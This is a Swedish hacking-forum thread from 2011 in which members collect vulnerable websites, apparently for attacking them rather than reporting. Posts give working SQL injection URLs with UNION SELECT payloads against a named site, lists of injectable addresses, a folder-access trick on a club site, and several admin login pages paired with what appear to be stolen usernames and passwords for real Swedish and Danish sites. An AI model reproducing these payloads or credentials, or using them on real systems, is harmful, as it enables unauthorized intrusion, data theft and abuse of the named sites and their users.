Samling av sidor med säkerhetsbrister - Del 2

2011-07-01, 22:26 #**3061**

Bannlyst

Citat:

Ursprungligen postat av j3r01

Polarn säger att den här sidan är "omöjlig" att hacka. Så jag registrerade mig och försökte. Dock kommer jag inte längre än att sidan (förmodligen?) har något säkerhetshål i MySQL då jag gör ett ' efter länken så försvinner texten i nyheten

Kod:

http://www.haket.com/go.asp?page=ovrigt/forum&FID=8&ID=359411127'

Någon som vet om det är ett hål eller ej?

Nej. Försök dig fram med Blind MySQL

Citera

2011-07-02, 13:57 #**3062**

Medlem

Reg: Maj 2011

Inlägg: 9

Citera

2011-07-02, 14:52 #**3063**

Medlem

Reg: Maj 2011

Inlägg: 9

Citera

2011-07-02, 17:13 #**3064**

Medlem

Reg: Maj 2010

Inlägg: 165

Citera

2011-07-02, 17:15 #**3065**

Medlem

Reg: Maj 2010

Inlägg: 165

__________________
Senast redigerad av Recons 2011-07-02 kl. 17:18.

Citera

2011-07-02, 17:22 #**3066**

Medlem

Reg: Jun 2008

Inlägg: 237

http://pir.se/wp-admin
admin/JfpSia2008

http://webmanager.samport.com
anitahakanssoninterior@telia.com/6N65VEOI

http://ferna.se/administrator
stehen/web.2009

http://www.skinnskatteberg.se/administrator/
stehen/web.2009

http://admin.varda.se
asa.falk/amerika

Citera

2011-07-02, 18:25 #**3067**

Bannlyst

Tog lite tid att hitta log-in sidan:
http://www.soelverlad.dk/login.php
mathilde - kuh22304
rasmusjjensen - 458845oO!
sophie - slrhfd22/8

http://www.soelverlad.dk/news.php
läs andra inlägget. Dedicerat till en viss person...

Citera

2011-07-03, 13:41 #**3068**

Medlem

Reg: Okt 2010

Inlägg: 645

Citat:

Ursprungligen postat av Doc-1337

multicard.se => "TYPO3 4.2 CMS"

Citera

2011-07-03, 16:31 #**3069**

Medlem

Reg: Sep 2009

Inlägg: 505

Kod:

http://www.dakamericas.com/newsdetail.php?id=19'+and+1=2+union+all+select+null,null,@@version,null,null,null,null,null--+-

Kod:

http://www.dakamericas.com/newsdetail.php?id=19'+and+1=2+union+all+select+null,null,group_concat(table_name,0x3a,column_name),n  ull,null,null,null,null+from+information_schema.columns+where+table_schema=database()--+-

__________________
Senast redigerad av fooztr 2011-07-03 kl. 16:35.

Citera

2011-07-03, 20:24 #**3070**

Medlem

Reg: Nov 2007

Inlägg: 83

Citat:

Ursprungligen postat av MrDjones

http://www.klubb6.se - verkar lida av lite brister.

Deleta andras folders

Ändra access på folder

För att se folder innehåll som vanligt.
http://www.klubb6.se/inside/image/li...der=*&member=*

För member id klicka på personens profilbild.
http://www.klubb6.se/inside/user/zoom.php?member=*

Ursäkta en nyfiken fråga, men går det att se användares privata mappar på detta sätt? och i så fall hur?

Mvh

Citera

2011-07-03, 20:59 #**3071**

Medlem

Reg: Okt 2010

Inlägg: 645

Citat:

Ursprungligen postat av ravare24

Ursäkta en nyfiken fråga, men går det att se användares privata mappar på detta sätt? och i så fall hur?

Mvh

Förmodligen går det, men problemet är att du måste veta vilken 'ID' den privata mappen har för att kunna visa den...

Citera

2011-07-04, 16:16 #**3072**

Medlem

Reg: Mar 2008

Inlägg: 410

http://www.nolia.se/skogs/index.php?id=21'

http://www.llb.se/index.php?id=388'

http://www.kulturdirekt.se/event.php?id=2409'

http://www.topblogarea.se/out.php?site=5664'

__________________
Senast redigerad av Theez 2011-07-04 kl. 17:13.

Citera

Samling av sidor med säkerhetsbrister - Del 2

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in